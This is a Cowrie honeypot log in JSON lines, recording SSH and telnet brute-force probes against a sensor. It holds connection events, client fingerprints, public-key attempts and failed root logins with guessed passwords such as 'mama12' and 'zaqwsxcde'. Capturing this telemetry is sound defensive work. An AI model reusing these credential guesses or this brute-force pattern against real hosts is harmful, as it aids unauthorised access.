{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:27.687748Z","src_ip":"194.113.233.25","session":"12098ffae7fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56988,"dst_ip":"10.17.0.5","dst_port":23,"session":"870459111ebb","protocol":"telnet","message":"New connection: 152.42.224.71:56988 (10.17.0.5:23) [session: 870459111ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:27.774749Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama12","message":"login attempt [root/mama12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:27.958617Z","src_ip":"194.113.233.25","session":"12098ffae7fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:29.051636Z","src_ip":"194.113.233.25","session":"12098ffae7fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.28","src_port":43868,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6fc3b6133e8","protocol":"ssh","message":"New connection: 154.16.180.28:43868 (10.17.0.5:22) [session: a6fc3b6133e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:35.584814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:35.590284Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:35.679780Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:9b:8f:57:20:3c:c4:ba:8c:7a:40:ac:c4:97:52:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgVFCH5wADVKHG30RRpAuWTJELFQxg6I6GcxlvXG/Gx8TSGHNdb+WCQmHBTcUFFYNkSRQKtFPje5Irv+tB4uCzCuParhZjPJVH7wyn875CwvGslECv2BWpAtsS8IVDGC9iw9rVM4NhlgjbSEQBvjT4peFKqZ2+DsTPFyYTjYnJKKJq8f9LXh3yuqwvjDvTw4XpDRQR3rrD4s0cknCGjyjiJ7G7mCdeJec5hZKVfNeZ29BJAXhEYtiTW5usPOY5D+GcU/BdxIr3Y7JXB5IN6B+qMVJxSrWrQZhPYJLC1kZAFGGNgVmrs/h/huqLT0hjDj9z/zmREaKDZwI53mjA/w9b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:9b:8f:57:20:3c:c4:ba:8c:7a:40:ac:c4:97:52:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:36.092633Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:9b:8f:57:20:3c:c4:ba:8c:7a:40:ac:c4:97:52:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgVFCH5wADVKHG30RRpAuWTJELFQxg6I6GcxlvXG/Gx8TSGHNdb+WCQmHBTcUFFYNkSRQKtFPje5Irv+tB4uCzCuParhZjPJVH7wyn875CwvGslECv2BWpAtsS8IVDGC9iw9rVM4NhlgjbSEQBvjT4peFKqZ2+DsTPFyYTjYnJKKJq8f9LXh3yuqwvjDvTw4XpDRQR3rrD4s0cknCGjyjiJ7G7mCdeJec5hZKVfNeZ29BJAXhEYtiTW5usPOY5D+GcU/BdxIr3Y7JXB5IN6B+qMVJxSrWrQZhPYJLC1kZAFGGNgVmrs/h/huqLT0hjDj9z/zmREaKDZwI53mjA/w9b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:36.097412Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:05:76:58:ba:0e:c7:ef:19:9c:36:cc:c2:9f:ea:87","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPbld8rzhMEWpZaTIDSqMnJrb3ShcivdOSa2NvZJ/++ZD3z0OCDpgP7PxOIkJ9NEMYV2IpPEGVLJvB9F3AMlFUcvuzQMwNDWxPd7x85z7Q6GCWzH3QdmI0+z6p0mWDwHdR+O8OVsHtzGAl8UoDMIQ6uJH1487eHrxAsq2uBUu0M9AAAAFQCblCpJDuDYLStwch5OyX5EXwp5yQAAAIAHqqzg6CWojDFDa51JWaMvDy2RYvaD6Vj2ktIi45ZuL0LzKus+1LH3uql2u4u6e4Kt5a7UCUq1hootQZqn2wsqUpJJBa69O17INllDbPIwzTzImFjDwQP1vbnFuklz/3HoZB9Wgy+aemW0rddwzcD9qUsgpddHNCWv9hYnM+zZtQAAAIEAoEnpP4goXLou+mrvh8k7trkid3Wz8JLgtWfdqU9R53SRmB7IIeeSarqt/0A3W9bBD7xjTKI0ww6bL54tD4C29M7GOrk9HhEHED8pcaBfYgGuij44pSYihNYmIS9sSKwoDsfeZ6fhiHKM0ctP+sn8J34GpET2qOQh0pKyIX77Uxw=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 1d:05:76:58:ba:0e:c7:ef:19:9c:36:cc:c2:9f:ea:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:36.185430Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:05:76:58:ba:0e:c7:ef:19:9c:36:cc:c2:9f:ea:87","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPbld8rzhMEWpZaTIDSqMnJrb3ShcivdOSa2NvZJ/++ZD3z0OCDpgP7PxOIkJ9NEMYV2IpPEGVLJvB9F3AMlFUcvuzQMwNDWxPd7x85z7Q6GCWzH3QdmI0+z6p0mWDwHdR+O8OVsHtzGAl8UoDMIQ6uJH1487eHrxAsq2uBUu0M9AAAAFQCblCpJDuDYLStwch5OyX5EXwp5yQAAAIAHqqzg6CWojDFDa51JWaMvDy2RYvaD6Vj2ktIi45ZuL0LzKus+1LH3uql2u4u6e4Kt5a7UCUq1hootQZqn2wsqUpJJBa69O17INllDbPIwzTzImFjDwQP1vbnFuklz/3HoZB9Wgy+aemW0rddwzcD9qUsgpddHNCWv9hYnM+zZtQAAAIEAoEnpP4goXLou+mrvh8k7trkid3Wz8JLgtWfdqU9R53SRmB7IIeeSarqt/0A3W9bBD7xjTKI0ww6bL54tD4C29M7GOrk9HhEHED8pcaBfYgGuij44pSYihNYmIS9sSKwoDsfeZ6fhiHKM0ctP+sn8J34GpET2qOQh0pKyIX77Uxw=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:36.189741Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:b1:f6:e2:8f:ca:48:83:b3:25:f3:1d:9d:85:e4:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMqVCpExryv/2WuD1SJVGw8hEGzKtbDVcMIEN8bsCURLlC7VsGNhHT7KiZV1oAiwJ2IDAR75Xv5zVpHIKQJ0MmpGfxf+4rKUCkGH44dgpIeiX5bzpL1Z1YjeoH0Xtb/fQkkw7WPnTT1pF1IWAGoRqsiZR9LDy3Dz3YsGPxctAIMOH9nCqxaYhZ5MHc4z6j7b9JXoaTuqBPAQKSiHVb/ZN2zpRR5psQUGx5xvjp2Rp9IXYEVWEArFE/gbh3qDhDV9XMBEG3Ntr53xrRuoY0ybyAlx1j7HBzm9M4f7VSVnNun4KvcBq0g4AfQVrHhpcPJC83OSqutwuGtB4eJS5o1Y5J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:b1:f6:e2:8f:ca:48:83:b3:25:f3:1d:9d:85:e4:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:36.281623Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:b1:f6:e2:8f:ca:48:83:b3:25:f3:1d:9d:85:e4:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMqVCpExryv/2WuD1SJVGw8hEGzKtbDVcMIEN8bsCURLlC7VsGNhHT7KiZV1oAiwJ2IDAR75Xv5zVpHIKQJ0MmpGfxf+4rKUCkGH44dgpIeiX5bzpL1Z1YjeoH0Xtb/fQkkw7WPnTT1pF1IWAGoRqsiZR9LDy3Dz3YsGPxctAIMOH9nCqxaYhZ5MHc4z6j7b9JXoaTuqBPAQKSiHVb/ZN2zpRR5psQUGx5xvjp2Rp9IXYEVWEArFE/gbh3qDhDV9XMBEG3Ntr53xrRuoY0ybyAlx1j7HBzm9M4f7VSVnNun4KvcBq0g4AfQVrHhpcPJC83OSqutwuGtB4eJS5o1Y5J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:36.285451Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:0c:7b:26:6a:da:d9:a2:5a:e1:49:e6:76:18:a9:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW8gzWqXXLIbr3n+CUmXPEy2NmoGiO3DaRT0Ck042JhaYijaL/hZ/LRBQMNXKKHRO1js+AB6pGrmQfpjVdER+I5ycL6vtIkiYjhITLaz3gFSrysuUq8MDL/4oa77fNwAeXpa44Y5WuNvfmhXMButtg1j8C1wu6/l8zwW1AhXlPHvkuTcfCW49mPCHk+E6j4PwQS2eI3fxnEaPLnOrvxteo9j2+AJdZPt8ITACnV1QQZseN7Sv4LY7670XLPOqkSCHU4YZn4vMJCZP1qG+m3B9PgxYOEpC5hbRigWPdetb9WL46YUK8JI5C+p1c3o6ToABoUvSpH4AYEzgpNT951o5h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:0c:7b:26:6a:da:d9:a2:5a:e1:49:e6:76:18:a9:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:36.373801Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:0c:7b:26:6a:da:d9:a2:5a:e1:49:e6:76:18:a9:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW8gzWqXXLIbr3n+CUmXPEy2NmoGiO3DaRT0Ck042JhaYijaL/hZ/LRBQMNXKKHRO1js+AB6pGrmQfpjVdER+I5ycL6vtIkiYjhITLaz3gFSrysuUq8MDL/4oa77fNwAeXpa44Y5WuNvfmhXMButtg1j8C1wu6/l8zwW1AhXlPHvkuTcfCW49mPCHk+E6j4PwQS2eI3fxnEaPLnOrvxteo9j2+AJdZPt8ITACnV1QQZseN7Sv4LY7670XLPOqkSCHU4YZn4vMJCZP1qG+m3B9PgxYOEpC5hbRigWPdetb9WL46YUK8JI5C+p1c3o6ToABoUvSpH4AYEzgpNT951o5h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:36.377990Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:0b:1c:ee:2a:7e:02:29:fb:9e:d8:cf:d4:ca:95:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDApzcLlmuTRpK+nd/vTXKqSYA+VKTX7wzKLS0XT+dWcWGrfrRy6zc1FLOKDShXpyLKbgHGHd2dI5d99V+tyhb+tgPowvyYJGKDFHik35OQPzoy2nNdtAs1ojZS1XkHTOMlJVTReLQEaxQpe1fATi4ETQJIDTfY+S15XjCfXjrKcOY/AHdWc2jcR6ANal49Q3zR8ag8KYawAXA0PCZV6wHxMpgN2gsS0CRYTS+mD8Iq16CwaLmNvM7Gw9fW1sfE64p3dagN8/lQhxq7lte+TnxdzXNufbMhM+ZtV20qhf8ZIzjvhDjXhPW3Mxe9JhxZBIJuGDJnEjCEQK0yxIRW8nfj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:0b:1c:ee:2a:7e:02:29:fb:9e:d8:cf:d4:ca:95:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:36.466731Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:0b:1c:ee:2a:7e:02:29:fb:9e:d8:cf:d4:ca:95:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDApzcLlmuTRpK+nd/vTXKqSYA+VKTX7wzKLS0XT+dWcWGrfrRy6zc1FLOKDShXpyLKbgHGHd2dI5d99V+tyhb+tgPowvyYJGKDFHik35OQPzoy2nNdtAs1ojZS1XkHTOMlJVTReLQEaxQpe1fATi4ETQJIDTfY+S15XjCfXjrKcOY/AHdWc2jcR6ANal49Q3zR8ag8KYawAXA0PCZV6wHxMpgN2gsS0CRYTS+mD8Iq16CwaLmNvM7Gw9fW1sfE64p3dagN8/lQhxq7lte+TnxdzXNufbMhM+ZtV20qhf8ZIzjvhDjXhPW3Mxe9JhxZBIJuGDJnEjCEQK0yxIRW8nfj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:36.471197Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:36.559301Z","src_ip":"154.16.180.28","session":"a6fc3b6133e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58546,"dst_ip":"10.17.0.5","dst_port":23,"session":"e36ad05639c8","protocol":"telnet","message":"New connection: 152.42.224.71:58546 (10.17.0.5:23) [session: e36ad05639c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:47.725230Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58548,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f64537b1a6b","protocol":"telnet","message":"New connection: 152.42.224.71:58548 (10.17.0.5:23) [session: 9f64537b1a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:48.752362Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58550,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d19a6a0dc1b","protocol":"telnet","message":"New connection: 152.42.224.71:58550 (10.17.0.5:23) [session: 4d19a6a0dc1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:50.647921Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":46388,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b55f798470","protocol":"ssh","message":"New connection: 43.134.184.253:46388 (10.17.0.5:22) [session: b2b55f798470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:53.509922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:53.516764Z","src_ip":"43.134.184.253","session":"b2b55f798470","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:53.754739Z","src_ip":"43.134.184.253","session":"b2b55f798470","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatch12345","message":"login attempt [root/Netwatch12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:54.739122Z","src_ip":"43.134.184.253","session":"b2b55f798470","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:04:55.980999Z","src_ip":"43.134.184.253","session":"b2b55f798470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47648,"dst_ip":"10.17.0.5","dst_port":23,"session":"08294d9ae2ab","protocol":"telnet","message":"New connection: 152.42.224.71:47648 (10.17.0.5:23) [session: 08294d9ae2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:11.273272Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":50712,"dst_ip":"10.17.0.5","dst_port":22,"session":"057bc700d673","protocol":"ssh","message":"New connection: 103.75.183.219:50712 (10.17.0.5:22) [session: 057bc700d673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:13.927486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:13.932958Z","src_ip":"103.75.183.219","session":"057bc700d673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:14.177992Z","src_ip":"103.75.183.219","session":"057bc700d673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqwsxcde","message":"login attempt [root/zaqwsxcde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:14.913301Z","src_ip":"103.75.183.219","session":"057bc700d673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:16.161514Z","src_ip":"103.75.183.219","session":"057bc700d673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.21842551231384,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:22.943522Z","src_ip":"152.42.224.71","session":"e36ad05639c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45884,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d95bc81d07e","protocol":"telnet","message":"New connection: 152.42.224.71:45884 (10.17.0.5:23) [session: 1d95bc81d07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:26.889903Z"}
{"eventid":"cowrie.session.closed","duration":59.1823673248291,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:26.957010Z","src_ip":"152.42.224.71","session":"870459111ebb","protocol":"telnet"}
